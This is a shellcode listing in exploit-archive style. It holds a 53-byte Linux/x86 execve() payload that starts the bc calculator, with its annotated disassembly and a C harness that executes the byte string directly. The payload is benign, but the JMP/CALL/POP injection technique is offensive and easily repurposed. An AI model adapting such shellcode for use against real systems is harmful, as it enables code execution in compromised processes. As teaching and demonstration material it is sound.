53 bytes small Linux/x86 execve() shellcode that runs bc (terminal calculator).
f2ed451e169c54f8c783b8190e0407a3/*
; Date: 27/01/2019
; Execve_Calc.asm
; Author: Daniele Votta
; Description: This program invoke excve to run terminal calculator (bc).
; Tested on: i686 GNU/Linux
; Shellcode Length:53
; JMP | CALL | POP | Techniques
*/
#include<stdio.h>
#include<string.h>
/*
; Execve_Calc: file format elf32-i386
;
; Disassembly of section .text:
; 08048080 <_start>:
; 8048080: eb 1a jmp 804809c <call_shellcode>
;
; 08048082 <shellcode>:
; 8048082: 5e pop esi
; 8048083: 31 db xor ebx,ebx
; 8048085: 88 5e 0b mov BYTE PTR [esi+0xb],bl
; 8048088: 89 76 0c mov DWORD PTR [esi+0xc],esi
; 804808b: 89 5e 10 mov DWORD PTR [esi+0x10],ebx
; 804808e: 8d 1e lea ebx,[esi]
; 8048090: 8d 4e 0c lea ecx,[esi+0xc]
; 8048093: 8d 56 10 lea edx,[esi+0x10]
; 8048096: 31 c0 xor eax,eax
; 8048098: b0 0b mov al,0xb
; 804809a: cd 80 int 0x80
;
; 0804809c <call_shellcode>:
; 804809c: e8 e1 ff ff ff call 8048082 <shellcode>
;
; 080480a1 <message>:
; 80480a1: 2f das
; 80480a2: 75 73 jne 8048117 <_end+0x5f>
; 80480a4: 72 2f jb 80480d5 <_end+0x1d>
; 80480a6: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e]
; 80480a9: 2f das
; 80480aa: 62 63 41 bound esp,QWORD PTR [ebx+0x41]
; 80480ad: 42 inc edx
; 80480ae: 42 inc edx
; 80480af: 42 inc edx
; 80480b0: 42 inc edx
; 80480b1: 43 inc ebx
; 80480b2: 43 inc ebx
; 80480b3: 43 inc ebx
; 80480b4: 43 inc ebx
======================= POC Daniele Votta =======================
*/
unsigned char shellcode[] = \
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x0b\x89\x76\x0c\x89\x5e\x10\x8d\x1e\x8d\x4e\x0c\x8d\x56\x10\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x62\x63\x41\x42\x42\x42\x42\x43\x43\x43\x43";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}